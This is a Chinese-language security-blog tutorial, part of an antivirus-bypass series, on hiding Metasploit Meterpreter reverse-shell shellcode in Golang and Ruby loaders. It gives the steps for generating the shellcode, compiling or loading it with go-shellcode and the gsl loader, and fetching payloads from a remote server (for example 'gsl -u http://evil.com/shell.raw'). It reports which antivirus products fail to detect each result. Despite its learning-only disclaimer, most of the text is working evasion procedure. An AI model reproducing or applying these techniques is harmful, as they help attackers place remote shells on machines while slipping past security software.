声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus

几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。
用Golang做免杀的不是很多,不过也有一些go写的免杀工具,比如专题21里介绍的HERCULES就是把利用go来嵌入shellcode然后编译exe,还有veil、Avoidz都可以生成基于go语言的shellcode,而且免杀效果还不错。
唯一不足的是go编译出来的exe大约2.3M左右,使用upx压缩下大约1.5M,不过相比python编译的exe应该还能接受了,免杀效果还比python-exe要好一些。
Golang也可以分两种方式,一种是将shellcode嵌入go代码然后编译exe,一种是使用go加载器。
Go中嵌入shellcode的方法不大多,只找到了两种代码,相比python要少很多,也可能是因为毕竟少的缘故,所以免杀效果还是比较好的。
先用msfvenom生成C语言的shellcode,注意要生成x64的。
将shellcode转换一下,变成下面的格式

将转换后的shellcode替换到下面的shellcode_buf位置,文件保存为shell.go
安装golang,参考:https://www.runoob.com/go/go-environment.html
在命令行执行命令go build,编译生成test.exe,在测试机执行。不过大约两分钟后,360安全大脑提示云查杀报警了。

msf中监听windows/x64/meterpreter/reverse_tcp,可上线

virustotal.com上查杀率为3/71

在网上还找到另外一个代码,不过执行和编译老出错,有兴趣的可以试一下,代码如下。
需要先下载加载器:https://github.com/brimstone/go-shellcode
下载后,进入go-shellcode\cmd\sc目录,执行go build
生成sc.exe

然后用Msfvenom生成hex格式的shellcode
使用sc加载器进行加载
静态和动态都可过360和火绒

msf中可上线

virustotal.com上sc.exe查杀率为4/69

gsl是Jayl1n根据go-shellcode进行了修改完善的工具。
下载gsl加载器:wget https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/gsl-sc-loader.zip
里面包含两个版本,x86和x64。
提供了三种加载方式
1、从参数传入 (必须是HEX格式)
2、从文件传入
加载 RAW 格式:gsl -f shell.raw
加载 HEX 格式:gsl -f shell.hex -hex
3、从远程服务器加载
把 SHELLCODE 文件挂在WEB目录下。(支持HTTP/HTTPS)
加载 RAW 格式:gsl -u http://evil.com/shell.raw
加载 HEX 格式:gsl -u http://evil.com/shell.hex -hex
以x64为例进行测试,先生成x64的shellcode
我就试一下远程加载gsl64.exe -u http://10.211.55.2/shell.hex -hex

msf中可上线

virustotal.com上gsl64.exe查杀率为6/71,因为这个gsl是编译好的,没法自己编译,估计越来越多的杀软都能开始查杀。

Ruby做免杀的不是很多,目前好像只遇到专题5中介绍的veil使用了ruby编译exe来进行免杀,目前也没发现基于ruby的shellcode加载器,只找到了一种ruby嵌入shellcode的代码。
先用Msfvenom生成基于ruby的shellcode
ruby源码:
将msfvenom生成的shellcode稍微转换后,写入代码中。

使用命令ruby shell.rb执行,360和火绒没有异常行为报警。

msf中设置payloadwindows/x64/meterpreter/reverse_tcp进行监听

virustotal.com中shell.rb文件的查杀率为0/58

payload免杀:https://www.cnblogs.com/LyShark/p/11331476.html
基于Ruby内存加载shellcode:https://micro8.gitbook.io/micro8/contents-1/61-70/68-ji-yu-ruby-nei-cun-jia-zai-shellcode-di-yi-ji
go-shellcode:https://github.com/brimstone/go-shellcode
从内存加载 SHELLCODE 绕过AV查杀:https://jayl1n.github.io/2019/01/08/tools-load-shellcode/